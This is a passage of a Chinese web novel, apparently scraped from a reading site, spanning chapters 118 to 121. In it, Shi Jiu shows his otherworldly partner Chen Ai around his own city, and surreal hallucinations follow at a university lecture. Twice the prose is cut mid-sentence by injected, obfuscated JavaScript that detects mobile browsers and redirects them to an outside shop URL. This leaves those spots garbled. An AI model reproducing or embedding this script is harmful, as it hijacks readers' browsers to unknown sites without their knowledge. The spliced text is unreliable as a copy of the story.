朱群飞直接大惊小怪出来:“卧槽时咎!你注意点@¥%……&!”李时光一把捂住他的嘴,露出尴尬的微笑说:“抱歉。” 沉皑通过时咎到这个世界仅有两次,但两次都是在时咎家里,两人对了一下时咎才知道那次和唐廷璇在家听到的卧室异响是沉皑发出来的。他还是第一次走到外面的世界来。 沉皑说这里比恩德诺更繁华。 太阳下去了些,霓虹便亮起来了。六车道还堵着的街,红色的尾灯照着地面,电瓶和自行车形成了自己的洪流,人们各自去往目的。 没走多远时咎便被唐廷璇拉到另一边去了,她满脸震惊小声问:“哥你得跟我说实话,这是什么情况?” “什么什么情况?” 唐廷璇急死了:“这不是,不是你梦里的人物吗?什么意思,感情你谈了个男朋友,骗我说是做梦梦出来的?” 时咎:“没骗你啊,他在我的梦里,我也在他的梦里。”时咎发现自己解释不清,连他自己也搞不清了。 唐廷璇很快接受了这件事,她做了个“平静”的手势,迅速窜到沉皑旁边,清了清嗓子说:“你好。” 沉皑轻轻点头:“你好。” 唐廷璇本着“娘家人”的态度向他一个个介绍:“这是朱群飞,这是李时光,这是你的前情敌余肃。” 时咎阻止:“够了!” 沉皑很认真与他们三个目光接触,表情连换都没换一下,并不太在意谁现在是什么身份,曾经是什么身份。 看他们的人很多,目光大多集中在沉皑身上,他的深蓝色眼睛格外具有迷惑性,在时咎拉住他的手后,路人的目光角度又变了。第一次时咎有了一种谈恋爱的感觉,在恩德诺总是太多的平地惊雷,突然回到自己的世界还能和沉皑一起,他觉得无比放松。 曾经总是时咎去到恩德诺,但唐廷璇刚刚的问题又让时咎思考两个世界的联系。到现在,已经不能单纯用“梦”的概念来理解这两个世界,否则就会变成因为他做梦而创造沉皑,同时沉皑做梦创造了他,或许他们的创造是同一瞬间,或许是两个世界本来就只是存在,如季雨雪说的,存在就是存在本身。 沉皑轻轻收紧掌心,淡声道;“别想了。” 时咎恍然抬头:“你怎么知道我在想什么?” 沉皑:“就是知道。” 时咎笑:“那你可真聪明啊。” 沉皑淡淡:“你最聪明。” 时咎心情很好,好得拉着沉皑的手也不自觉前后摇晃起来,像小时候终于做出喜欢的小设计,开心显摆的模样。 118. 第 118 章 地球的食物与恩德诺相差无几,时咎看沉皑在用餐上并没有任何不适,只是好像不太习惯这里的灯光秀。 余肃一边抽烟一边和朱群飞聊天,李时光则细心切了三成熟的牛排都放朱群飞盘子里。时咎之前没谈过恋爱,即使和沉皑在一起一些时间,也没有真正意义上过过像样的情侣生活,只能有样学样细致地切牛排往沉皑盘子里放。李时光把沙拉菜沾上酱料放朱群飞盘子里,时咎也把沙拉菜沾上酱料放沉皑盘子里,他不是不会做这些,是不太会当众为别人做这些。 时针指过七点,餐厅的氛围逐渐转变成了酒吧的氛围,音乐也换了风格,不出片刻,沉皑眉头皱起,他侧头在时咎耳边轻声问:“你有闻到什么味道吗?” 时咎抬头四周看了下,半倾着身子到沉皑的座位上,并没有闻到什么异味。 “怎么了?”对面余肃见状问。 时咎摇头说好像有什么奇怪的味道。 “我靠什么味道啊?”朱群飞也开始嗅,还站起来四处闻,“没什么味道啊?我鼻子坏了?” 于是对面四个人都开始提着鼻子闻那所谓奇怪的味道,这种场合下的味道太多了,实在没人分辨出几十种气味里哪一个是那个怪味。 时咎低声问沉皑感觉是什么味道?沉皑想了想说:“焦味,糊味。” 这下对面四个人更紧张了,就害怕是哪里烧起来,于是真的站起来到处看,甚至寻找到桌下,不过并没有找到那个火种来源。 火种,焦味,糊味…… 时咎的目光缓慢从对面四个人脸上划过,突然很平静地说:“没事,吃吧,可能是错觉。” 终于等到他们的注意力转走,时咎轻碰了下沉皑的手示意他出来。两人去了洗手间,沉皑正要问他有什么事?时咎便将他拉到单独的洗手间里,关门反锁,从兜里拿出一盒刚刚顺走的烟,不太熟悉地点上,轻吸了一下往旁边吐,随后问:“是不是这个味道?” 沉皑安静两秒,点头。 时咎:“……啊。” 从来没有在恩德诺见过有人抽烟,原来他们那里真的没有烟,时咎跟他解释说这个东西是由尼古丁、焦油和一起其他化学物质混成的东西,是人们生活里很常见的、但不是特别好的东西。沉皑则回答他说尼古丁在恩德诺只作为药用。 时咎突然想笑,他觉得沉皑像个小孩子,如同自己当时去恩德诺一直被当未成年一样。他在恩德诺一直都是某种程度上的“局外人”,终于也可以作为局内人替对方解惑了。 梦的缘故,沉皑身上的伤都消失了,这样看起来,这梦做得令人愉悦。 外面的音乐大声得有点吵,这种酒吧式西餐厅看上去更适合喝酒。无论如何,那音乐传到七拐八拐里的洗手间,在逼仄的隔间里依然能感受到重低音砸出的震颤。 时咎随意靠在门上,把烟和火机都收了回去,抬头见沉皑正看着他,便笑着低声说:“你得常梦到我,我带你在这边走走,这儿没有能力,不会哪里突然就爆破了。”他说完这句话发现有些不对,恩德诺其实也很安全,只是不能拿动荡的时局来对比他所在这个和平的国家。 沉皑轻声说:“好。”接着又问,“出去吗?” 这个问题难倒时咎了,因为他突然想呆一会儿再出去。之前沉皑一直在受伤,不然就是在路上,实在是没什么时间。回到熟悉的地方,心就轻飘飘跳起来了。于是他抬手去环过沉皑的脖子,稍微用力让对方往前走一步,使他们可以抵额相视,时咎小声说:“等会儿。” 沉皑顺势环抱他的腰,微微埋头,听到时咎的声音闷闷地响起:“想跟你单独呆会儿。” 沉皑低声柔和说:“这段时间不是一直单独在一起?” “不一样。之前事太多了,没办法安心,而且你身上一直有伤,什么都做不了。” 沉皑轻轻“啊”了一下,装作恍然大悟,他笑着问:“我的大艺术家想做什么?嗯?” 说话的气流从脸颊一路飘到耳廓,时咎觉得这样下去不行,他要暂时当个浪漫过敏人群的一员,于是亲手生生打破了这氛围,他僵硬着声音说:“做,做作业。” 沉皑无奈笑出来,竟也轻轻点头:“好,都听你的。”说什么都由着他去了。 虽说场合不太对,但两人就这么简单抱了会儿,时咎便示意他出去。意料之中被唐廷璇的白目翻了个底朝天,她嘲讽道:“两个大男人一起去洗手间十五分钟,十五分钟啊。” 朱群飞很配合地点头:“有点短。” 甚至连余肃也开玩笑说:“时咎的问题吧。” 时咎烦躁:“闭嘴!”他只想知道这顿饭什么时候吃完,早知道沉皑会来,他绝对不会答应还要吃什么饭,不然现在他们肯定已经在家……或者别的地方过二人世界! 牛排配的是勃艮第产区的霞多丽白葡萄酒,六个人举杯庆祝时咎个人大型展览会完美落幕,时咎则感谢沉皑带他取得的灵感。 喝了些酒,几个人开始聊以前大学的往事,聊完又聊近些年的走向,朱群飞话最多,他一个劲地揶揄自家老板和老板的小男朋友:“我靠你们不知道,我现在在我们录音棚的地位是越来越低了,以前好歹二把手,现在,呵呵。我们老板真的双标,特么的怎么有这么双标的人?之前我失恋,让他开车送我回家,他要收我钱,我说他送他男朋友为什么不收钱,他说我自取其辱,气死我了气死我了现在想起都想冲回去杀了他!” 时咎很久没见过什么同学,并不知道以前的朋友后来如何,便问他们常在一起的另外几个怎么样了? 朱群飞晕晕乎乎拍桌:“很好,老别和他的小男朋友领证了,我们几个的资源也好了,唐墨砚老样子,闻海山窜得快比老子高了!马一也领证了!” 大家过得都很好,在世界的各个地方,也努力而幸运地生活着。 出了酒吧连空气都安静下来,到家已经是凌晨。时咎没喝太多,但他惊讶的是恩德诺在末法战争后,连酒也通常只作为药用,所以没怎么大喝过酒刚回来的时候沉皑还有点晕,不过等洗漱完,他基本已经醒了。 茶几是新的,时咎没告诉沉皑之前自己砸烂过一张,茶几上的小台灯暖光照得客厅连阴影都是柔和的,沉皑一直打量着这个家。 “明天去看电影怎么样?之前说过请你去看的。”时咎把家居服随意脱下扔在沙发上,顺手把茶几上的眼镜戴上,朝沉皑示意了一下卧室,“我看会儿书睡了。”他走进卧室,过一会儿,看到沉皑站在门口没动,似乎犹豫着什么。 时咎奇怪道:“站着做什么?” 沉皑淡声说:“我可以进来吗?”他对边界感一直都把持得很好,有时候甚至克制得有些过了,显得时咎没心没肺把别人家当自己家随意出入。时咎忽然觉得像沉皑这种界限感如此强的人,竟然从来没有提出对自己那么多越界行为的问题,他是真的一直在无限包容。 时咎直接翻身起来走过去把沉皑拉进来,对他强调:“这也是你的家。” 沉皑说:“好。” 时咎摘下眼镜放去一边,那挂坠的链条在空中荡了几个圈最后平静下来,蓝色宝石在暖光灯下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14582368|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些泛紫。 柔软的被子摩擦着皮肤,时咎把头埋到沉皑的颈窝,跟他说明天去看展,喝咖啡,看电影。他有很多想和沉皑一起做的事,以前觉得在恩德诺也行,在这里也行,现在觉得这里更好,因为这样可以跟他分享自己的故事。 夜晚静得深沉,时咎都不知道沉皑什么时候把床头的灯关了,整个卧室陷入黑暗,月光被窗帘挡住,喧嚣也是。 时咎枕着沉皑的胳膊,小声跟他说:“是不是没告诉过你,我也是被收养的?” “嗯,猜到过。”曾经时咎说过他父母都不知道具体出生年的时候,沉皑就猜过了。 沉皑轻拍着他的背,像温柔的哄睡,不紧不慢,让人沉溺。 “那个时候小,也记不得什么,有记忆是已经跟着我爸妈学习了,小时候特别叛逆,特别疯。” 沉皑没忍住打断他:“你以为现在不是?” “啧。”时咎发出不爽的声音。沉皑笑了下,将怀里的人拢得更靠近了些。 “我从小就喜欢做一些天马行空的东西,别人出去玩,我就看书,别人拼图,我就创造拼图。我叛逆的点和别人不一样,我不会和父母对着干,但喜欢和世俗的认知对着干,褒义的对着干,喜欢另辟蹊径的东西。他们教心理学,我也耳濡目染地学,后来发现我对别人的情绪,或者某个地方的氛围感知特别强烈,总觉得某些死物想跟我对话,我能感受到,但他们表达不出来,我也用语言表达不出来。” “但渐渐的,我发现艺术的表达形式更接近于万物的表达形式。嗯,文字和语言的限制太大。所以就开始尝试用艺术去表达。” 时咎想到之前自己和沉皑在回家小径上的对话,沉皑说也想知道自己的经历,但他想了想,发现自己的经历和沉皑比起来没有什么特别的地方,最特别的就是他这个人本身。 沉皑低声说:“有人夸过你在艺术上是天才吗?” “还真有。”时咎想着,忍不住笑出来,他稍稍抬头,嘴唇无意中碰到了沉皑的喉结,便顺势停在这儿了,他认真道,“我脑子好,你体能好,天生一对。” “你说的都对。”沉皑勾起嘴角轻轻地说。或许喉结被时咎的嘴唇无意识滑过好几次,沉皑终于撑起身体,埋头俯视躺着的人。 “怎么了?”时咎睁开眼问。 “没怎么,看看我的大艺术家。”沉皑淡然回答。他伸手放在时咎脸上,用手指一遍一遍摩擦他的唇。黑暗里并看不清具体,他的手指便像一支笔的临摹,所有的轮廓、所有的纹路,在脑海中、在心里被描绘出来,直到时咎不自觉抿了一下,他心里的静态图片瞬间被赋予了生命。 时咎一向想到就做到,他比沉皑动作还快地吻了上去,又伸手勾住他的脖子将他整个人扯了下来。 所有的感官全集中在了触碰的地方,碾碎长久以来的种种焦虑与遗憾。眼睛看不见,耳朵和触觉便被无限放大了,分不清是呼吸还是喘息,总之都拧在一起,比盛夏的正午还要炽烈,热气从鼻腔和身体散发出,灼得人无法清醒,昏昏欲睡。 细碎的声音从未合紧的嘴角流露出来,那些空隙,沉皑一遍又一遍重复说着:“我爱你,我爱你……” 一颗真心,全部给出。 时咎觉得无法忍受,恍惚间回到最开始相遇的那些日子,踏出列车,迎接他的就是身体某个部位的痛感,然后他倒下去,不省人事。现在也是一样,或者更甚,他觉得浑身都像被叮咬,叮咬后就像一头扎进了混沌,坠入梦境,醒不过来。 沉皑就是针对时咎的麻醉剂。 119. 第 119 章 一夜安眠。第二天时咎被电话吵醒,不耐烦地按停了后翻身就继续钻到沉皑怀里闭眼睡觉,没几秒钟电话又响了,时咎紧皱眉头终于接起来,结果刚按下通话键,那边就传来亲切的母亲的声音。 “还睡呢?门也不开,电话也不接。” 时咎压低着声音迷迷糊糊说:“接了,开……”他倏然睁开眼,音色一下就恢复正常了,“开,开什么?” 电话那头说:“我给你拿了些时令蔬菜水果,快开门。” 时咎迅速挂了电话坐起来。沉皑睁眼问他怎么了,他的声音有些哑。 时咎很快清醒过来,他拍了拍被子,淡定说:“没事,困就继续睡,我妈来了我去开门。” “嗯。” 时咎随意套了条裤子,将头发扎起来跑去开门。 里里外外好几袋,时咎震惊地说:“我一个人吃到烂也吃不完啊。” 女人的目光随意扫视了一下这个屋子,说:“不是两个人了吗?” 时咎一言不发接过蔬果,整理着放冰箱里,听到她问:“最近感觉怎么样了?好些了吧?” 时咎背对着他,把冰箱里过期的食物拿出来,一边整理一边说:“好多了,没事了。”他感受到背上有一道视线在洞穿他,但又心想自己在自己家不穿上衣也没什么吧,从来不会被说的。 接着他就听到身后的人声音很平常地提醒说:“出门穿高领。” 时咎:“……”穿高领是什么意思?什么情况下会被人提醒穿高领?他的动作表情佯装得没有一丝不自然,点了点头敷衍回答一声,关上冰箱门就转身去打开客厅的窗户。 身后的女人搓了下手:“好,我一会儿还有课,先走了。对了,过几天来听我的公开课啊,把你男朋友也带上,凑点人气。” 时咎心想,您的课不缺人气吧?表面还是答应了。 时咎转身准备回去,却看到沉皑正站在卧室门口睡眼惺忪地看他,刚起来还裸着上身,这场景让时咎脚一滑,差点趔趄出去。倒不是脚滑,而是双腿一软,因为他看到沉皑胸口脖子的吻痕,想着估计自己也是差不多,立刻尴尬“啊啊”了两声把沉皑推进卧室的黑暗里,藏住自己耳根的绯红。 等沉皑反应过来的时候整个人已经被推着倒进柔软的被子里,时咎跪在上面,把头靠在他的胸口处,沉皑则伸手拍拍他的背笑着说:“还有几十年,倒也不必现在就磕头。” 时咎闷声;“我磕你m……”算了。 趴了一会儿,他坐直起来说:“我点个外卖。” 沉皑闭上眼,应了一声问:“买什么?” 时咎很干脆:“套。” “嗯。” 晚上,时咎躺在床上,看着熟悉的天花板,抬腿便蹬在沉皑的背上,喃喃说:“我们去看电影吧。” 沉皑没回头,清理着床单说:“你不是说今天不出门了?” 时咎大腿用力,将沉皑的身体蹬得向前倾,严肃道:“沉先生,希望你能认识到不是所有人都像你一样从小魔鬼训练的,你不累,我很累,腰也酸,腿也疼。” 沉皑让开身体,扶着时咎的腿转过身轻轻放下,又俯身去亲吻他的唇角,低声说:“好。”说着便给他按摩他刚刚说过的部位。 沉皑想去图书馆,时咎便带他去听这边的历史,时咎需要去养老院或者监狱做治疗工作,沉皑基本也跟着,没事的时候一起做点手工,或者去展馆逛逛,看看能不能碰上一些灵感。家里的大提琴常靠放在沙发边,因为沉皑说想听时咎的演奏。 离家不远的地方有一间大仓库,时咎租下来当自己展品的收纳仓,他带沉皑去参观AETERNUS那一套模型。沉皑围着这个大型创作看了很久,每块砖瓦的纹路,每个房间的比例,每个细节,比真正展出时任何一个人看得都要细致。最后他喃喃道:“时咎,你真的比我想象中还要优秀。” 被一个生活在恩德诺这种文化艺术才是家常便饭的地方的公民夸奖,时咎觉得这才是自己听过最高的肯定,他站直身体以看上去正式一些,承接道:“谢谢,我也这么认为。” 仓库里的不一定是最终成品,有部分是自己对自己作品的仿品,有的成品被展览馆收藏着,有的则卖出去了。看了一圈下来,沉皑的目光停顿在一个雕塑作品上,他在那个雕塑前站定,认真注视。 时咎走过去说:“这个成品我已经卖掉了,这是仿品,不过都是我做的。” 没有再刻意做装饰,时咎直接在雕塑下贴了一张纸,上面手写着对作品的简单描述。 “深眠……”沉皑念出来。 沉皑的目光一直没挪走,时咎顺便给他讲了他做这个雕塑的原因和灵感来源。 “是我小时候做的梦。” 梦里深红色的天与战火,一切都是风声鹤唳,周围全部暗藏杀机,死亡到来的前一秒,神降临了,祂从星空中来,凝聚着所有的光…… 说着说着,时咎声音逐渐放慢放弱了。他好像一直在探索着什么,每次又都戛然而止,分不清是觉得不重要还是产生了阻抗,但被沉皑这么认真盯着,他没办法回避。 因为他突然想到了一个画面,这个画面与深眠的梦太过相似——他在生物坟场被言威刺穿心脏时,也是这样的场景。虽然当时有些意识游离,但他不会忘记,沉皑的能量如同天边的极光爆发,极光在很短时间聚拢成一个雄伟的人形,随后他感觉到自己漂浮在半空,慢慢降落在沉皑身后,沉皑的背影无比坚决,像一堵坚不可摧的墙,那个巨人也是,给予他世界上最安心的保护。 沉皑或许也想到了这一幕,他张嘴想说些什么,最后只是用手隔空轻轻抚摸着这个雕塑。 “266727.”沉皑说,他的声音突然有点不自然,好像在控制情绪。 “什么?”时咎转头。 “266727.”沉皑又重重地重复了一遍,他将视线移到时咎脸上,“你对这串数字有印象吗?” 时咎目光瞥向别处愣住回忆,片刻,他摇头:“我好像……没有印象,这是什么?” 沉皑极速收敛起情绪,但眼睛里还是心事,想到什么,他说:“你要不要问问你的父母,对这串数字有印象吗?” 时咎看着他,没有问为什么,轻轻点头。他想自己应该跟沉皑在想同一件事。 仓库出来后直奔咖啡店喝下午茶,等接近晚饭时候的公开课。 时咎喜欢这样的生活,自己的事照常稳定进行,有空就和沉皑一起出去探索新鲜事,泡泡图书馆听听讲座,给他将自己生活里往常的趣事。爱的人在身边,一切都是平静面对风浪的,除了近些时间沉皑会比较辛苦外,恩德诺的事估计也不会那么快就结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596941|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 善后,沉家的任务也不会那么快就完结。 正如沉皑父母和沉初光说的,应运而生。 咖啡厅的人不算多,有意无意瞥过来的目光却不少。沉皑只是默默地坐着,和他整个人的氛围一样,坐在那,那儿的气氛便沉下去,淡淡的,外界再风起云涌也与他无关。 时咎倒了半包糖,搅和着咖啡,问他之后有什么打算。沉皑思忖着说:“看夏癸吧。” 时咎皱眉:“什么意思?” 手里的浓缩咖啡见底,时咎转头问有没有卡布奇诺,却被告知本店是纯意式咖啡,下午不提供卡布奇诺。 时咎说:“拿铁玛奇朵吧。”说着注意力又转回沉皑身上,他再次问,“看夏癸是什么意思?”问完后突然觉得自己又能理解这句话,便没追问了。 刹那间,时咎觉得有点奇怪,他听到了一些音乐,但是这些音乐并不是他常听到的流行音乐,是一种更加古老的乐器发出来的声音,他好像有点分辨不出来那是什么乐器,只是旋律和音色让他想到了沉皑父母家那片海,悠远深沉。 “您的拿铁玛奇朵。” 服务员的到来打乱了时咎的思绪,他一下醒过来,发现咖啡厅正播放着乡村音乐,一首结尾,换了爵士。同时,咖啡厅推门而入一家三口,进来随意挑选了靠窗的位置坐下,小孩很高兴说着要气泡水,她似乎知道公共场合得小声说话,但兴奋的语气并没有让她的音量减少几分贝。 小孩子很可爱。沉皑转过头,神色淡淡问:“喜欢小孩?” 时咎点头:“还可以。” 很久以前和沉皑讨论过“爱情的结晶”的问题,他俩的思考方式有些不一样,不过结果都是一样。孩子是感情的传承,一直生活在爱里、互相有爱的人,想把这份爱顺理成章地延续下去。 沉皑不咸不淡:“这段时间忙完了再说。” 时咎看着他没忍住笑出来,拿着杯子抿了一口咖啡上的奶泡,用玩笑般的语气道:“说什么?小孩吗?我们只能领……”说到这他哽住了,回到自己的世界里一段时间,差点忘记恩德诺繁殖不需要结合。 于是,时咎左右为难,心里做了一百个建设,最后试探性地问:“啊,那,那,你,呃,你生吗?” 沉皑瞥他一眼:“你那么紧张做什么?” 时咎坐直身体,咳了一声:“绝对没有!” 对于自己来说在过往经历中闻所未闻的事,对别人来说却是家常便饭,所以沉皑轻描淡写的,他这样的反应更显得夸张,时咎深刻感受到了环境对人认知的塑造。只能补一句:“以后再说。”顺便给沉皑普及了他们这无法单体生殖的知识点。 沉皑好像知道时咎刚刚反应怎么这么大了。 外面阳光很好,这个季节适合出去踏青,时咎想着等两天叫唐廷璇出来一起去露营,烤点烧烤,最好租辆房车自驾游,如果她不想去,正好他和沉皑可以两个人出行。 一杯咖啡又要见底,吸管还在无意义搅动。时咎一侧身便用余光瞟到了另一桌的女生举起的手机,也不知道那摄像头对准的是沉皑还是他俩,他只能无声叹气,眼神去打探那双深蓝色眸子,两人对上,沉皑用眼神问他怎么了?时咎则摇头。 公开课五点开始,再坐十多分钟就可以走了。时咎转头看店外的街,却愣住了。 这是什么? 120. 第 120 章 一幅巨大的画。倒影在咖啡店的全景透明玻璃上。 《ThePersistenceofMemory》——记忆的永恒,20世纪西班牙超现实主义艺术家萨尔瓦多·达利的画,融化如时间流淌的钟表,放在树枝上、平台上、人脸上,干涸的海与苍白的岸。是对时间、记忆和存在的思考。 玻璃上倒影不仅有这幅画,还有时咎惊愕的表情,旁边慢慢喝咖啡的沉皑,附近的空桌子,不远处刚放下手机的女生。时咎转过头,看到吧台做咖啡的服务员,他们背后是整面深咖啡的木柜,整个装修都是意式极简。唯一的画作就是上去二楼的扶手边,一副小型简约抽象画。 没有任何地方可以倒映这副达利的画,也不存在这幅画。察觉到时咎左顾右盼,沉皑放下咖啡杯问:“有什么不对?” 本来没觉得不对,时咎听到这句话就真的觉得不对了,沉皑为什么没有问他怎么了,而是直接问他“有什么不对”? 时咎疑惑:“梦里还有读心术这一项功能?” 沉皑:“没有。” 时咎再次转过头去看玻璃,发现玻璃上的画又变了,变成了另一幅《记忆永恒的解构》,这两幅画都是达利的作品,却是现实与梦境的冲击。画面被分解成碎片,强调时间的流逝受观察者的影响,系统的熵增,像物理学里时空的非欧几里得几何。类似……梦境的场景。 时咎朝沉皑的方向挪动位置,不可思议说:“你看这个画,哪里倒映出来的?” 沉皑皱眉问:“什么画?” 时咎扭头惊愕看着沉皑的眼睛,说:“玻璃上这幅画啊,达利的……”他转头,话猛然断在嘴边。 一辆车驶过,掀起的热风让路边的树叶晃动几下,没过两秒,一个骑自行车的人路过。时咎错愕的表情、搭在沉皑胳膊上的手,沉皑微微皱眉注视时咎的模样,全部倒映着,唯独没有那幅画。 沉皑伸手拉过时咎的手,捏了下轻声说:“那只是玻璃,你是不是……太累了?” 不可能。时咎没说出来,他张着的嘴慢慢闭上,很快恢复冷静,随后站起来平静说:“没事,我们先走吧。” “嗯。” 这里离学校不远,走过去十多分钟。沉皑觉得时咎突然就不太对了,所以一路上都有些担心地牵着他,注意力一直落在他身上。 达利的画充满艺术的隐喻。时咎以前很喜欢解读隐喻,生命里出现的所有影像都是信息,不会无意义地到来,如同网络里铺天盖地的真假消息,被商家强行灌输的广告,广告洗脑的台词和改编旋律,这个时候对于信息的筛查至关重要。这些信息会牵引一个人产生如何的想法,便塑造成人格,特定的人格去往某些特定领域。错觉也不会是错觉,人不会看到自己理解不了的东西。 破碎的钟表和扭曲的空间如同量子纠缠的瞬时联系。为什么是纠缠? 时咎觉得有点不太对劲,哪里不对劲说不上来。 大学里人不多,时咎很快找到心理学院系的楼,窜进阶梯教室。可惜教室人已经不少,于是两个人便跟走在聚光灯下一样默默窜到最后一排。 时咎有点麻木,微微侧头对沉皑说:“你能不能控制一下梦?” 沉皑:“控制什么?” 时咎低声:“让前面的同学不要再转头看我们了,我怕一会儿我妈讲课,下面学生一会儿一个转头,一会儿一个看你一眼,学生不认真听我妈就很生气了,导致他们不认真听的原因还是我男朋友,我妈会气炸的!” 沉皑笑出来:“好我试一下。” 沉皑的尝试根本没有效果,他本身就不是特别在意,没有情绪起伏也没有太多想法,所以该扭头看他俩的还是扭头。 时咎觉得自己在动物园,他们就是被围观的猴子。 教室逐渐坐满学生,两百多人的阶梯教室反而他们身边最空,一直被注视,却没人敢靠近,直到一个背着书包睡眼惺忪一看就是睡过头的女生冲进来,紧急刹车,结果发现教授并没有来,脚步立刻松弛几分,垮下背,环视整个教室,尴尬发现只有最后两排有空位。 时咎看着这个熟悉的面孔就这么半眯着眼,游魂般飘到自己前面的位置上,书包随意一甩,双手一拢,头就栽进了胳膊里,对周围一切都无所察觉。思索两秒,时咎戳了下她的背,轻声叫:“王导好。” 女生一下弹起来“欸欸欸”胡乱应答,脑袋乱飞,搞半天是后面的人叫她,她转过头,眼睛一亮:“时咎!你好!” 时咎朝她笑,模仿她的朋友给她的称呼:“王秋蕴大导演好。” 王秋蕴大导演嘴一瘪,胡乱飞的头顿时像乌龟脑袋进壳,全部收回,默默转回身。 时咎给沉皑解释说这是之前找他拍电影的一位学生导演,沉皑轻轻点头,问:“你现在感觉好点了?” 时咎愣住,不太确定说:“好点吧,还是觉得很奇怪,我真的看到了。” 沉皑从课桌下方牵住他的手,柔和道:“好,那应该是我没注意到。” 教授来的时间刚好是五点,一分不差,她一进来就看到最后一排两个人,但略过一眼便走上讲台。 “今天公开课的主题是‘神’存在的意义[14]。” ——“神为何物?世上是否真有神的存在?千百年来人类一直对这样的问题不断进行探索、追寻、争论,至今仍无定论。即使有了一些比较成熟的观点,也免不了有自圆其说之嫌。自人类初生之日起,也许‘神’就随之而来,当然那时不会有‘神’这个字,但是‘神’这个存在早已立于世间了。” 上面的人在讲,时咎的思绪又飞到刚刚看到的那一幕,甚至再往前些天,他小声问旁边的人:“你在家睡着的吗?” 沉皑轻声:“嗯。” 时咎说:“我记得当时……”他动了动嘴唇,接下来要说的话却像河里的鱼,在嘴边溜了一圈,“噗通”一声砸进它被打捞起的河流——他忘记他想说什么了。 ——“《礼记》记载,子曰:‘气也者,神之盛也;魄也者,鬼之盛也。合鬼与神,教之至也。众生必死,死必归土,此之谓鬼。骨肉毙于下,阴为野土,其气发扬于上为昭明,君蒿凄怆,此百物之精也,神之著也。’这段话的基本意思是。凡人必定会死,死后尸体要埋到地下,这就叫做‘鬼’;而尸体埋在土里腐烂了,臭气蒸发出来,这就叫做‘神’。因此后人就说孔子不信鬼神,未免牵强。尤其是在今天,‘神’与迷信被紧密的结合了起来,一提到神,人们就说是反科学,那事实真是如此吗?” 沉皑接道:“当时我很累,正要去休息,你就消失了。” “哦对。”时咎好像有点印象了,“你之后醒过吗?” “嗯。” “怎么样了那边?” 沉皑想着说:“正常,又不是什么大事,几天就恢复了,就是起源实验室得重建需要一段时间。” ——“在信奉唯物主义,信奉科学的今天,宗教和神都是不被主流文化所接受的。在我看来着存在偏见,科学与宗教未必真的水火不容,就像在西方,心理医生同时也是神父一样。人们出于某种欲望,也许是控制欲,总爱用已有的知识去解释未知的现象。” 那种奇怪的感觉再次被放大了,但他找不到出 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时咎则说:“没事,就是想到那块碑。” 王秋蕴突然转过头,看向时咎的眼神带了崇拜,但那崇拜不针对于时咎,而是她接下来要说的话。 她说:“我一直很喜欢那块碑。” 时咎见她转头,诧异问:“什么碑?” 她认真道:“就是你刚刚说的呀!” 时咎有点茫然,他转头看向沉皑,但沉皑反应很淡,眼神里什么都没有,好像王秋蕴说的话很正常。 ——“科学也好,宗教也罢,无非都是信仰。如果科学主义者们举着科学的大旗去反对一切其他宗教,那他们不就成了信奉科学、举着科学大旗的宗教徒了吗?一种意识形态反对另一种意识形态,一种宗教反对另外一种宗教,而人们就在这两者之间备受摧残。仁,不是一种意识形态。有些现象,如果用已知的各种学科、各种知识都无法解释的话,那么对于剩下的那些解释,不要看表面是否很荒谬或者离奇,都要学会尊重,因为那很可能就是真正的答案。” 时咎起初觉得她可能是听错他们的谈话内容了,便浅浅笑了下说:“我刚刚说什么?” 王秋蕴回答:“文明中心广场那块碑呀,爱是一切的答案。” 时咎瞳孔骤缩。 量子力学里,观测决定最终形态,被观测的光子永远只通过一条缝隙打在光幕上,形成两个缝隙的光斑,一旦人们决定不观测它,它便产生干涉条纹。他是被观测的光子还是观测的人?形态在这一瞬间坍缩,时间突然像被按下暂停键,随后所有景物如同漩涡一样往回倒放,这几天的记忆蜂拥而至,周围霎时一片安静。 时咎听到自己的声音在落针可闻的空间里颤抖:“你怎么知道这句话?” ——“我不知道‘神’是否真的存在,但是人相信的是主观事实,如果‘神’的存在能让人生活的更幸福,那么认为‘神’存在又何妨? 王秋蕴露出笑容:“大家都知道啊。” “轰!”远处传来了爆炸声,地面在颤抖,砖瓦在掉落,天花板的灯摇摇欲坠,耳边轰鸣越来越严重。时咎一把抓住沉皑的手,惊慌问:“发生什么了?地震了?” 沉皑不解他的反应,问:“什么地震?你怎么了?怎么突然出汗了?你手怎么这么冷?”沉皑握住时咎的手。 时咎脸色发白:“你感觉不到?在,在抖。” 沉皑皱眉:“什么在抖?时咎?” 不对,不对! 121. 第 121 章 教学楼像要坍塌了一样,时咎猛地站起来,感觉自己站也站不稳,他看到了,明明看到了天花板的灰一片一片地正在往下掉,但整个阶梯教室两百多人没有一个人站起来,他们都很认真在听课,好像只是自己陷入了某种可怕的幻觉。 沉皑发现异常,立刻也站起来扶住时咎说:“时咎!时咎你冷静点,我先带你出去!” “不要!”时咎在他错愕的神情里一把甩开他的手,改为自己扶着课桌,他声音在惊颤,“你看不到吗?看不到吗?这些——这些灰尘、裂痕?!”他伸手随意指了个地方,但无论是哪,都在进行楼房倒塌前最后的挣扎,楼体的裂纹已经爬出来,即将在某个地方汇聚! 声音越来越大了,马上就要塌了! 